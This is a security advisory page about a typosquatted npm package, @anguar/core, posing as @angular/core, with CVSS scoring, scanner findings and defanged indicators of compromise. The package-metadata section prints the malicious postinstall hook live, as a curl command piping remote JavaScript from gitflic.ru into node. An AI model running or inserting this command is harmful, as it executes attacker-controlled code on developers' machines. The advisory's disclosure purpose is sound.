GCVE-110-OSM-2026-13226

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published October 4, 2026

Typosquat package @anguar/core (impersonating @angular/core) whose postinstall script in src/package/package.json:104 pipes remote JavaScript from gitflic.ru (via web.archive.org URL rewrite) directly into `node`, executing an attacker-controlled second stage at install time. The remaining library code is genuine Angular code used as camouflage. ## Static analysis (vigil) Verdict `BLOCK`, score 53/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` - [high] OBF-022 eval/Function aliased to variable — `package/fesm2022/_debug_node-chunk.mjs:1041` ## Package metadata - Publisher: unknown - Published: 2026-10-04T21:58:15.464Z - Install hooks: postinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `0289cb000e3daf11f7514e45f19c1ecf1d1a899499a1b1aeb65f704f21ab613b` ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org

Download JSON Open in Console

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	@anguar/core	22.2.1 (affected)	—

References

Malicious npm package: @anguar/core

advisory

vendor

Browse GCVE Records

3,111 records in the GCVE database · Updated October 6, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Open in Console Download JSON